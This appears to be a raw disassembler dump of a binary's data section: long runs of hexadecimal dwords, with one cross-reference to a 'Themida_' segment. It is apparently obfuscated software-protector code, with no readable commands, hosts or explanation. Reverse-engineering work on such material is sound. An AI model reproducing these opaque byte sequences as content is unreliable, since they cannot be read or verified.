17042444h, 46000000h, 5CD3C356h, 9D335288h dd 6442D85h, 6650DE8Ah, 489DA8Bh, 0A5D78124h, 0F5A06F6h dd 689h, 3D9D3100h, 6A064414h, 51006A00h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1A04h, 0C3514100h, 0A20EFF0Eh dd 66757FF2h, 6A40B6BFh, 0D8B70F00h, 5699858Dh, 81510648h dd 805C60C7h, 0C0835B26h, 51006A05h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1504h, 0C3514100h, 0AE81812h dd 0CE000000h, 0EA90F9F6h, 37C9C848h, 9D8B510Eh, 6442581h dd 60505F5Fh, 12E9h, 72DB4400h, 0C2B983AFh, 0EFA82AD6h dd 0F8876A9Eh, 8AC82303h, 48961D9h, 51006A24h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1704h, 0C3514100h, 4EF2E51h, 2F4963BBh dd 1ED78049h, 6A006Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 150424h, 53430000h, 8BD4F6C3h, 442D799Dh, 6A006A06h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 14042444h dd 40000000h, 8056C350h, 95FF17D3h, 6441825h, 0BE9h, 28FD5C00h dd 0BD6682A6h, 43D987C1h, 9899D8Bh, 8D8D0644h, 6479A97h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 0C2C35141h dd 85EC3681h, 0BD8B1479h, 6442A55h, 0BD83D1FFh, 6442F11h dd 4C850F01h, 6A000000h, 57006A02h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1404h, 0C3574700h, 0BDF5BB1Dh, 505017C9h dd 890F6052h, 0 dd 61FB8B66h, 31BF310Fh, 5A044C4Fh, 24048958h, 24398589h dd 95FF0644h, 644296Dh, 0E9DEBF0Fh, 0D54h, 0E8h, 0ED815D00h dd 64856A3h, 2E2DB589h, 6A0644h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 160424h, 52420000h, 3774B6C3h, 0FF73BF66h dd 8B58858Dh, 6A0647h, 3E850h, 58200000h, 448958C3h, 44810424h dd 1D0424h, 50400000h, 7BEB82C3h, 0C0CD8996h, 508E71C3h dd 3A1EB6BFh, 2404895Eh, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 1Dh, 23C35747h, 0E2DE5E80h, 3F484709h, 35FF64D2h dd 0 dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 0F2C35747h dd 0B52A75BDh, 5A6E3A9Ah, 258964h, 89000000h, 44255985h dd 3D958906h, 0FF064402h, 4408E985h, 49B50106h, 6A064428h dd 55006AFFh, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1504h dd 0C3554500h, 0F781269Fh, 1D1B5855h, 218DB5FFh, 8B660644h dd 8195FFFAh, 0E9064422h, 10Bh, 30499D8Bh, 0B00644h, 11E8h dd 9F912700h, 0F14C48CEh, 0CCE47AD3h, 6AFE421Fh, 0BD8BA467h dd 6442EF5h, 0F70E65Bh, 8951F8B7h, 44166DBDh, 71E45B06h dd 2D9DBD8Bh, 613C0644h, 0C9830Fh, 89600000h, 440E1DBDh dd 0BC38BA06h, 0F6107BEh, 9D8BC8B6h, 6441BFDh, 6BAh, 8BC18B00h dd 442FCD9Dh, 4E8C106h, 66F8B70Fh, 0F381E2F7h, 1C1C8DF9h dd 0BD89C82Bh, 6441061h, 5E8D18Bh, 92000000h, 38FFA8DAh dd 1AE95FFCh, 0F000000h, 148Dh, 0FE900h, 500C0000h, 62DFA61Fh dd 99169F1h, 499ADA14h, 85858B00h, 8906440Dh, 442501BDh dd 7C08306h, 83FFB70Fh, 0D03B00C0h, 0B830Fh, 0B5890000h dd 644034Dh, 3AE9h, 258D8B00h, 3106441Fh, 441AB19Dh, 1E18306h dd 25840Fh, 0F9600000h, 3B5B58Bh, 83610644h, 441F25A5h dd 0BB66FE06h, 95896010h, 6440D85h, 13E1B589h, 0E90644h dd 8D000000h, 47E85FB5h, 71BD8B06h, 6A064422h, 52006A00h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1904h, 0C3524200h dd 0FC9C2E2Ch, 95FF5CA1h, 6441C4Dh, 2B9D9D8Bh, 89B90644h dd 8B00000Ah, 44039DBDh, 0FCE18306h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Ch, 42C35343h, 289700DBh, 3453160h dd 22BB66FCh, 0B872h, 11E90000h, 11000000h, 0CBC83AA4h dd 0D2562B9Ch, 0FC5F3EB7h, 6B0B5B9Ah, 0BAh, 50006A00h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1B04h, 0C3504000h dd 9339E5D9h, 13D9374Ah, 0C233ADFCh, 0D003E8D1h, 7504E983h dd 57006AF4h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1D04h dd 0C3574700h, 8AE67B9Bh, 0B99C4123h, 0BD012535h, 64429C5h dd 27646ABBh, 880D58h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 170424h, 53430000h, 0BE8BA1C3h, 0B5BD8B1Ah dd 2906442Eh, 440C51BDh, 5D958B06h, 0F06442Fh, 682h, 73DB8100h dd 8B56A6CCh, 4406798Dh, 0DE906h, 156C0000h, 315B180Eh dd 0F4A49B4Eh, 50F058ACh, 188BC28Bh, 188BC103h, 0E8D1C18Bh dd 188BC203h, 55006A58h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1604h, 0C3554500h, 0E8AFB719h, 0Bh, 3F3B1A05h, 8AF35E6Fh dd 892E070Eh, 44263D8Dh, 9D8B5B06h, 644207Dh, 2CADBD83h dd 0F000644h, 4884h, 0FABF0F00h, 3EF78166h, 0B8E9h, 0B5890000h dd 6442EDDh, 4E558D8Dh, 6A0644h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 190424h, 53430000h, 2AB5BAC3h, 89B1B175h dd 442D158Dh, 81E1FF06h, 4E2982DBh, 71BD830Bh, 64410h dd 463840Fh, 9D890000h, 6442471h, 1071BD83h, 0F010644h dd 46B84h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1B04h, 0C3534300h, 922FB26Ah, 7240B8EFh, 0DE8h, 0D1F01000h dd 2004BDBBh, 85835B12h, 0AE8DD16h, 8B000000h, 0F0065832h dd 7207F37h, 0D5BD8B80h, 5F064429h, 71BD835Fh, 3064410h dd 3DC860Fh, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h dd 1B0424h, 50400000h, 0AEFBC5C3h, 646E9C20h, 68E0F86h dd 8B000000h, 4417F5BDh, 6A6006h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 180424h, 57470000h, 6B4CDAC3h, 0BD8B9E8Fh dd 6441C5Dh, 0E9D98C66h, 13h, 0F06E7069h, 0EF96B96Fh, 0FA118AFCh dd 8D6D5379h, 80F9ACC3h, 0B58904E1h, 644211Dh, 840FC90Ah dd 17Dh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 16h, 2DC35242h, 8E0FC569h, 6, 15799D31h, 858B0644h dd 6440AD5h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 1Dh, 0F8C35040h, 36A7C4B7h, 606440BAh, 33DE8B5Dh, 4403BD85h dd 3BB5006h, 8955591Bh, 6A2404h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 150424h, 52420000h, 0F1326C3h, 18Ch, 6AF800h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 0B5C35646h dd 2D3A7344h, 6D64EBF5h, 11E9h, 0E3F1FC00h, 9BFE55FDh dd 93B41A74h, 796C5C57h, 4E8FF4Dh, 0FF000000h, 60001F03h dd 50615953h, 424448Bh, 8E8h, 15B11100h, 9B94871h, 8B5F8Ch dd 0BB665250h, 310F61DDh, 5AFE8B66h, 24448958h, 7E804h dd 52830000h, 0D81CABB4h, 61606073h, 996DBB66h, 6A585F61h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1B042444h dd 41000000h, 26CDC351h, 146E4CEFh, 0BD8B9081h, 644159Dh dd 95FF1CB3h, 6440081h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 14h, 0B2C35646h, 17E18589h, 8B660644h, 608589FBh dd 8B0647B7h, 442EC5BDh, 16EE906h, 8D890000h, 64408B5h dd 58858BF5h, 890647B7h, 442425BDh, 1800C706h, 8B000000h dd 47B75CB5h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1504h, 0C3514100h, 0F781626Ah, 4631700Eh, 300D858Bh dd 6A0644h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h dd 51410000h, 0F7CBD1C3h, 9DBB7126h, 6A0689FCh, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1C042444h, 45000000h dd 1867C355h, 24D2258Ah, 0FB3D712h, 0BD8BF9BFh, 6440A65h dd 0AD5858Bh, 6A0644h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 190424h, 57470000h, 6315DBC3h, 0E95CCCD3h, 7, 1CFFAC69h dd 314A0BECh, 4408858Dh, 4468906h, 24599501h, 0F960644h dd 285h, 50AAB300h, 2B96DF8Bh, 440F91BDh, 58B5FF06h, 0F0647B7h dd 8E68F8BFh, 8142FF76h, 75712434h, 6A42E0h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 190424h, 56460000h, 0C6576DC3h dd 0E97DC1D3h, 0Eh, 2813ADEEh, 622717ECh, 0A6F8B429h, 0E780B952h dd 60858DFDh, 890647B7h, 442105B5h, 8B669006h, 0E99050FAh dd 8, 4B4339B5h, 7AE807F8h, 8195FFh, 89600644h, 442C9D85h dd 0BDB52906h, 61064430h, 57006A61h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1804h, 0C3574700h, 2A080DB3h dd 518D89EAh, 0C7064431h, 44107185h, 306h, 60BD8300h, 647B7h dd 38840Fh, 0CF800000h, 4BE925h, 6A0000h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1C0424h, 55450000h, 3A2CEFC3h dd 9425FC00h, 0BD894220h, 6441675h, 1D4DBD8Bh, 30500644h dd 4400110Ch, 0E8C10111h, 11443010h, 114C0002h, 0E9835803h dd 0EBE77504h, 4305036h, 11640011h, 10E8C101h, 2114430h dd 3116400h, 4E98358h, 1BEBE775h dd 10E8C150h, 3116428h, 2114430h, 11642858h, 11043001h dd 7504E983h, 8B00EBE7h, 71BD83C0h, 3064410h, 482850Fh dd 0BD290000h, 6440285h, 0B760BD83h, 0F000647h, 46F84h dd 7E800h, 0A2AB0000h, 32F3066Dh, 8E9F0h, 56310000h, 564737C8h dd 0FF5FA816h, 47B760B5h, 53006A06h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1704h, 0C3534300h, 1AAA4B25h dd 69995FFh, 0BB660644h, 0B58B0BEFh, 647B754h, 1489BD29h dd 6C70644h, 10001h, 2DDBD8Bh, 0B3500644h, 243489CBh, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 17h, 4DC35141h, 0E921D587h dd 0Bh, 857D45B3h, 0FCAE5FA0h, 80F70ADBh, 0B5FF5CF7h, 647B760h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 74C35747h dd 8875EB84h, 66361775h, 0C6BFF88Bh, 0FF2F6C32h, 441E0195h dd 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1D04h dd 0C3524200h, 8A7A110Ah, 3A6CC78Fh, 0B58BE440h, 647B754h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 19h, 0BAC35141h dd 0FFE48BD7h, 71858B04h, 6A06442Eh, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 15042444h, 43000000h, 37A0C353h dd 6898529h, 86890644h, 0C4h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 19h, 98C35040h, 8B9F74DEh, 5D9589ACh dd 66064432h, 958BD88Bh, 6442F5Dh, 29999D8Bh, 0C2830644h dd 51006A04h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1D04h dd 0C3514100h, 4F5CA8F1h, 0A2D59E60h, 9D8B1DE7h, 64403ADh dd 1B158589h, 50890644h, 53006A20h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1C04h, 0C3534300h, 19AB1FEBh, 0D16E5324h dd 0FBBF0F29h, 0CAA0858Dh, 6A0647h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1C0424h, 56460000h, 0C1558EC3h dd 80EBB1EFh, 0F5608956h, 2A39BD8Bh, 89610644h, 0B886h dd 5E95300h, 4F000000h, 7265EB54h, 7D8D895Fh, 6A064418h dd 0FD9D0100h, 0FF064403h, 47B760B5h, 13E906h, 0D73D0000h dd 7A338BE4h, 13990E44h, 61F6A694h, 0D337F4EDh, 6D95FF60h dd 29064429h, 442F49B5h, 0BF665006h, 348935A3h, 38C0F24h dd 0F000000h, 0B5FFFFB7h, 647B760h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 16h, 0C3C35646h, 0BE85685h, 33000000h dd 373C84E7h, 0E1EFB1ABh, 0BD2BD3B6h, 64418D5h, 0D995FF5Bh dd 0F064417h, 689h, 0CD858900h, 60064433h, 958BE38Ah, 6440AD9h dd 0B5BD8361h, 64414h, 2C840Fh, 0BD2B0000h, 6443011h, 28B35096h dd 55006A96h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1904h dd 0C3554500h, 0BB016363h, 0B5FF200Dh, 647B760h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 14h, 8BC35040h, 2E7D95FFh dd 6A0644h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h dd 57470000h, 0D11EA2C3h, 0E6C2A9F9h, 0B760B5FFh, 6A0647h dword_582968 dd 3E850h, 58200000h, 448958C3h, 44810424h, 180424h, 50400000h ; DATA XREF: Themida_:0054B180o dd 0F3BFD1C3h, 0DE9EB15h, 7A000000h, 0DDA1DF3Bh, 99D892AEh dd 7F51EE75h, 0AE9h, 0DDE31100h, 0A9AFD8A8h, 0FFB9DCE8h dd 44144195h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1704h, 0C3554500h, 0EF74EEAEh, 8E9h, 0C031F500h, 93AB4947h dd 85BD83FCh, 206440Ah, 92840Fh, 6A0000h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 140424h, 57470000h, 0CE853C3h dd 0C7000000h, 0ADE4A1F4h, 7C6623A1h, 89640560h, 440BDDB5h dd 858B5B06h, 6441591h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 1Ch, 1BC35747h, 0F7247DCAh, 0C3134EB9h, 2DF1BD0Bh dd 0C60644h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1D04h, 0C3564600h, 0A96A20ECh, 5DB4D9Dh, 85893A0Dh dd 64432E1h, 175985C7h, 644h, 0D7810000h, 634CCB36h, 0FFF392E9h dd 8E9FFh, 0F000000h, 9DC425ACh, 0C18B7DFAh, 1BE1858Dh dd 6A0644h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h dd 51410000h, 41107FC3h, 8B6690D3h, 18BB50D8h, 90135034h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 14h, 53C35242h dd 6AF88Bh, 16319D8Bh, 6A0644h, 99E78166h, 6D858DB3h, 6A064866h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1D042444h dd 40000000h, 0AF3EC350h, 0D25539FFh, 703542F4h, 2AC38156h dd 5B19F55Dh, 2A759D23h, 95890644h, 6441C11h, 6A05C083h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 14042444h dd 40000000h, 89E4C350h, 4410D5B5h, 0FB8B5006h, 6A240489h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 18042444h dd 45000000h, 0B0A0C355h, 0F705426h, 381h, 4FD78000h, 0EE9h dd 67455D00h, 0CECA1209h, 62F268Dh, 6AF6FBADh, 56006A00h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1704h, 0C3564600h dd 4EE63791h, 6A006Ah, 3E850h, 58200000h, 448958C3h, 44810424h dd 190424h, 50400000h, 0FBD90FC3h, 89135B02h, 441489B5h dd 2595FF06h, 6A064418h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 16042444h, 40000000h, 6365C350h, 0D78166A3h dd 8D8D7636h, 6479A97h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Bh, 60C35343h, 0AA1ACAA6h, 0BB05BF13h, 66219185h dd 6AD1FFh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h dd 55450000h, 72A618C3h, 55662A8Ch, 83E6DD69h, 442F11BDh dd 850F0106h, 0A3h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Ah, 5DC35545h, 0B1E6402Ch, 0AE8E65Ch, 2000000h dd 0E534415h, 0B172FDAEh, 11BD8B30h, 5B064430h, 72D9D01h dd 26A0644h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 17h, 0EEC35242h, 31755FCDh, 440E1DBDh, 0BE99006h, 0B6000000h dd 4181C7AAh, 8BB95A52h, 8B50D5B6h, 6A90FBh, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 180424h, 51410000h, 8D0C9DC3h dd 95FF2F8Ch, 644296Dh, 0E9D9B70Fh, 0DDEh, 0E8h, 0ED815D00h dd 6486677h, 6E9h, 9673E000h, 6A762331h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 19042444h, 45000000h, 0B641C355h dd 934CE2F3h, 858DFB8Bh, 6478B58h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Ch, 0DDC35646h, 0EE305AB3h, 149E1166h dd 0BF665090h, 8990D3A7h, 440F7185h, 899D8B06h, 6406440Ah dd 35FFh, 12E90000h, 0F000000h, 45FF2B53h, 111BFFC1h, 72683879h dd 8D583F0Eh, 64D98B80h, 2589h, 9D8B0000h, 6440269h, 8E985FFh dd 6A0644h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h dd 55450000h, 1942B0C3h, 0EC8CDCEDh, 0FF6AB29Bh, 0FF53DF80h dd 440C0DB5h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1D04h, 0C3574700h, 0D23F4847h, 23C2D4A6h, 95FF8A79h dd 6442281h, 0E6E9h, 19B53100h, 0B006441Eh, 513DBB00h dd 0BD8B36EDh, 644000Dh, 0BF6670E6h, 8B50F452h, 441A6D9Dh dd 71E45F06h, 3CF9BF0Fh, 0B8830F61h, 23000000h, 442C019Dh dd 0C8B60F06h, 2BD9D33h, 6BA0644h, 8B000000h, 440399BDh dd 0FCC18B06h, 6004E8C1h, 10BD9D31h, 66610644h, 48BBE2F7h dd 2B6DD442h, 0B58951C8h, 644106Dh, 459D895Bh, 8B06440Dh dd 0B9B529D1h, 0E906440Fh, 6, 4199D09h, 858B0644h, 6441DB9h dd 83DE8B66h, 0B58907C0h, 6442F7Dh, 8900C083h, 441A6DB5h dd 0FD03B06h, 0F83h, 3EBB6600h, 39E926h, 9D230000h, 6440DFDh dd 17818D8Bh, 0D88B0644h, 0F01E183h, 2284h, 0DF8B6600h dd 1781A583h, 89FE0644h, 442D71BDh, 0B9958906h, 0FC06441Dh dd 15719D8Bh, 0E90644h, 8D000000h, 47F4F3B5h, 55006A06h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1904h, 0C3554500h dd 73A7B781h, 0B589AFCFh, 64419A1h, 31419D8Bh, 6A0644h dd 20659589h, 95FF0644h, 6441C4Dh, 2DBD9D01h, 890F0644h dd 0Ah, 4890Fh, 0BB660000h, 0C2B9A038h, 1000008h, 44100DB5h dd 0E183FC06h, 51006AFCh, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1904h, 0C3514100h, 4EAFC768h, 0BF66E069h dd 8BFC3EE6h, 441561BDh, 6AC02B06h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1A042444h, 43000000h, 0EF7FC353h dd 84F0BD4Fh, 67BB6667h, 6AD22B31h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 19042444h, 40000000h, 62AFC350h dd 45B2B821h, 3450BF66h, 1919B529h, 33AD0644h, 3E8D1C2h dd 4E983D0h, 8E0FF475h, 0 dd 0AE8h, 89333000h, 8B5C4480h, 0F86F72Bh, 68Bh, 810F00h dd 5B000000h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 19h, 17C35040h, 4C5F0ED2h, 6282BBFEh, 880D0135h, 8B000000h dd 442F5D95h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1804h, 0C3534300h, 0C3B78D99h, 798D8BDEh, 6A064406h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1A042444h dd 41000000h, 7440C351h, 0C318E629h, 0AE9C9h, 77D50000h dd 0A6252633h, 4C5968A5h, 8BC28B50h, 8BC10318h, 0D1C18B18h dd 8BC203E8h, 0DE85818h, 0C1000000h, 576DCDE4h, 7DC1D3C6h dd 6FD55D29h, 235FD98Ah, 4415599Dh, 0ADBD8306h, 6442Ch dd 0BE840Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1C0424h, 56460000h, 730406C3h, 0A21847Ah, 0BD299175h dd 6441EB5h, 0B5A7BB66h, 0B8h, 11E900h, 0F1B20000h, 30AE4B59h dd 99A681D2h, 2A10C2FBh, 8D91C282h, 444E558Dh, 57006A06h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1D04h, 0C3574700h dd 8B887B35h, 0B6081977h, 7E861A4h, 0AB000000h, 8BED8EF2h dd 11E9D7DAh, 8000000h, 335417B3h, 88F76D6Dh, 0E7A81267h dd 0B55B0C23h, 6AE1FF5Bh, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 19042444h, 43000000h, 21DFC353h, 0B84EFC13h dd 8E3ABB66h, 1071BD83h, 0F000644h, 44284h, 55006A00h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1B04h, 0C3554500h dd 4ED9587Bh, 0C91D2473h, 0DD5B589h, 0BD830644h, 6441071h dd 27840F01h, 0FC000004h, 1071BD83h, 0F030644h, 3E386h dd 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1A04h dd 0C3554500h, 35BD32EEh, 0E8ADCFC1h, 10h, 0FA2B5098h dd 8BD495FBh, 0C2F452C3h, 67242D03h, 6A605Bh, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 180424h, 53430000h, 0CE8630C3h dd 9589E091h, 64429A5h, 6AD98C66h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1B042444h, 40000000h, 838CC350h dd 1BA6E3C4h, 8531696Eh, 6441A21h, 8870Fh, 89570000h, 4406F5BDh dd 0E1805F06h, 51006A04h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1404h, 0C3514100h, 38F0F1Fh, 0F000000h, 9D8BDBBFh dd 6440289h, 840FC90Ah, 0E9h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 16h, 98C35343h, 0D98B6151h, 0AD5858Bh dd 0AE90644h, 0C6000000h, 0DA213421h, 43D7A225h, 0BD8533C9h dd 50064403h, 0CEE6BB66h, 0F60505Bh, 8Ch, 2830F00h, 51000000h dd 489615Ah, 50006A24h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1B04h, 0C3504000h, 348B0721h, 0F66AD793h, 6ADBB70Fh dd 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1504h dd 0C3554500h, 3068C30Ah, 663209F9h, 3481FB8Bh, 16FACF24h dd 0CF816632h, 95FFD7CCh, 6440081h, 0E519CB81h, 85896809h dd 647B760h, 1EE59509h, 0CEE90644h, 0BF000001h, 161E4539h dd 14E9h, 478A2200h, 0AD0CBDF3h, 9D069F59h, 0FF97BD34h dd 4EE29511h, 58858B86h, 6A0647B7h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1D042444h, 45000000h, 0D1BC355h dd 0A84D1880h, 959CFDA8h, 1800C7h, 6A0000h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1C0424h, 53430000h, 41BCD5C3h dd 0E76F3EC7h, 0F512300h, 8B5BDAB7h, 4416CD9Dh, 9BD8B06h dd 8B064407h, 47B75CB5h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1C04h, 0C3564600h, 32A5360h, 3DD78C95h, 55BD8BF6h dd 8B06441Ah, 44300D85h, 0AE6CBB06h, 8E0F01BDh, 0Ch, 68A0Fh dd 0B5310000h, 64425C5h, 24BF0689h, 8B2BD1B6h, 442BD9BDh dd 0D5858B06h, 0B306440Ah, 44689FDh, 50D88B66h, 7E860h dd 58340000h, 4C029268h, 2AB35E33h, 24348961h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 14h, 96C35646h, 824EEF81h dd 0FB8B66D1h, 0B758B5FFh, 9D890647h, 64430F1h, 982B3168h dd 81FA8B00h, 28CE2434h, 6A0087h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 140424h, 55450000h, 81669CC3h, 0E9D77EE3h dd 6, 0EE6A7FA1h, 858DF9B8h, 647B760h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 14h, 28C35343h, 3513B5BFh, 99BD8965h dd 50064430h, 489C2B3h, 52006A24h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1A04h, 0C3524200h, 0A061D3E6h, 8B5C901Bh dd 8195FFDFh, 8B064400h, 4430419Dh, 6A6106h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 180424h, 51410000h, 7435AEC3h dd 810F648Ch, 3, 0C7FE8B66h, 44107185h, 306h, 10BB6600h dd 0C9BD092Ah, 8306441Dh, 47B760BDh, 840F0006h, 30h, 0E98DCF80h dd 43h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Dh dd 0AEC35646h, 5245466Eh, 91323AD6h, 0FABF0F7Ch, 110C3050h dd 1114400h, 3010E8C1h, 21144h, 5803114Ch, 7504E983h, 5036EBE7h dd 110430h, 0C1011164h, 443010E8h, 64000211h, 83580311h dd 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h, 28580211h dd 30011164h, 0E9831104h, 0EBE77504h, 60C08B00h, 161D9D29h dd 8B520644h, 44191585h, 6A615E06h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1B042444h, 42000000h, 3772C352h dd 0F4659D11h, 0BD83500Fh, 6441071h, 3C850F03h, 8B000004h dd 44097DBDh, 60BD8306h, 647B7h, 429840Fh, 0B5FF0000h dd 647B760h, 13E9h, 0E7C8A600h, 0A6D9C003h, 31F21421h dd 9A29E047h, 0AFC95086h, 69995FFh, 6A0644h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 1C0424h, 51410000h, 872B7BC3h dd 0AE45CA13h, 0BD032C0Ah, 6441A35h, 0B754B58Bh, 6A0647h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h dd 0DF96A9C3h, 9D8B52D2h, 6441E7Dh, 106C75Bh, 0F000100h dd 5050D9B7h, 13E85052h, 0CF000000h, 41B74BD0h, 0B863CCA8h dd 8D923594h, 91851442h, 5F5FE4EDh, 0DE8B310Fh, 3489585Ah dd 16860F24h, 0E9000000h, 11h, 0DE4D1EA6h, 16B3D917h, 715D6D23h dd 17A04D00h, 0FF27B3BBh, 47B760B5h, 2B606006h, 440ACD9Dh dd 3D858906h, 61064417h, 0BE9h, 24832C00h, 1D9DF9EDh, 8DCD04C8h dd 195FF61h, 8906441Eh, 44204195h, 54B58B06h, 6A0647B7h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 19042444h dd 43000000h, 279BC353h, 0CB144866h, 1D119D8Bh, 858B0644h dd 6442E71h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Ch, 71C35747h, 85FC603Dh, 7453CAC9h, 11E8h, 0AD29B00h dd 7EFEEE58h, 0DB73738h, 8CC25F64h, 9D8BDC1Ah, 6441A55h dd 0C486895Fh, 6A000000h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 17042444h dd 43000000h, 0B8BDC353h, 958BC65Eh, 6442F5Dh, 8BDABF0Fh dd 4C283F9h, 26318D29h, 50890644h, 199D8B20h, 8D064430h dd 47CAA085h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1A04h, 0C3524200h, 6CAD7160h, 660EB058h, 89DCFEBFh dd 0B886h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1404h, 0C3554500h, 5E8E7h, 0CEDB0000h, 0E943C9CCh, 13h dd 0C837B3A8h, 0DB36965Eh, 93804E94h, 57B7B163h, 5F3A7EF0h dd 0EF81006Ah, 6A529483h, 0B760B5FFh, 6A0647h, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h dd 422A50C3h, 1EF7535Bh, 0BBB9ADECh, 27F0040Ah, 296D95FFh dd 6A0644h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h dd 55450000h, 0E6CDFFC3h, 66102624h, 8166F88Bh, 965D68EBh dd 8DFA4ABFh, 6A96501Fh, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 19042444h, 46000000h, 0D7A6C356h, 0BAE3F8E7h dd 0B5FFFB8Bh, 647B760h, 880FA3B3h, 6, 30759589h, 